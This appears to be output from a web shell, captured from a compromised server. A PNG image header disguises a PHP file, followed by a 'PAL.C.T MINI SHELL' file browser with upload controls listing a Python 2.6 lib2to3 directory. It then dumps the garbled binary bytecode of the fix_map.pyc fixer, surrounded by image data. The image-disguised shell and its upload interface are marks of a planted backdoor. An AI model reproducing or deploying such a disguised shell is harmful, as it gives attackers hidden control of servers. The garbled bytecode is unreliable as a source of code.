php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/lib2to3/fixes/
upload
files >> //usr/lib/python2.6/lib2to3/fixes/fix_map.pyc

Lc@sudZddklZddklZddklZlZlZl	Z	ddk
lZdei
fdYZdS(	sFixer that changes map(F, ...) into list(map(F, ...)) unless there
exists a 'from future_builtins import map' statement in the top-level
namespace.

As a special case, map(None, X) is changed into list(X).  (This is
necessary because the semantics are changed in this case -- the new
map(None, X) is equivalent to [(x,) for x in X].)

We avoid the transformation (except for the special case mentioned
above) if the map() call is directly contained in iter(<>), list(<>),
tuple(<>), sorted(<>), ...join(<>), or for V in <>:.

NOTE: This is still not correct if the original code was depending on
map(F, X, Y, ...) to go on until the longest argument is exhausted,
substituting None for missing values -- like zip(), it now stops as
soon as the shortest argument is exhausted.
i(ttoken(t
fixer_base(tNametCalltListComptin_special_context(tpython_symbolstFixMapcBseZdZdZdZRS(s
    map_none=power<
        'map'
        trailer< '(' arglist< 'None' ',' arg=any [','] > ')' >
    >
    |
    map_lambda=power<
        'map'
        trailer<
            '('
            arglist<
                lambdef< 'lambda'
                         (fp=NAME | vfpdef< '(' fp=NAME ')'> ) ':' xp=any
                >
                ','
                it=any
            >
            ')'
        >
    >
    |
    power<
        'map' trailer< '(' [arglist=any] ')' >
    >
    sfuture_builtins.mapcCs|i|odS|iitijoA|i|d|i}d|_tt	d|g}nd|jo4t
|di|di|di}nd|jo|d	i}nd
|jog|d
}|itijoF|idit
ijo,|ididjo|i|d
dSnt|odS|i}d|_tt	d|g}|i|_|S(NsYou should use a for loop hereuulistt
map_lambdatxptfptittmap_nonetargtarglistitNonesjcannot convert map(None, ...) with multiple arguments because map() now truncates to the shortest sequence(tshould_skiptparentttypetsymstsimple_stmttwarningtclonetprefixRRRRtchildrenRtNAMEtvalueRR(tselftnodetresultstnewtargs((s+/usr/lib/python2.6/lib2to3/fixes/fix_map.pyt	transform:s6	




	
	(t__name__t
__module__tPATTERNtskip_onR (((s+/usr/lib/python2.6/lib2to3/fixes/fix_map.pyRsN(t__doc__tpgen2RtRt
fixer_utilRRRRtpygramRRtConditionalFixR(((s+/usr/lib/python2.6/lib2to3/fixes/fix_map.pyt<module>s
"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`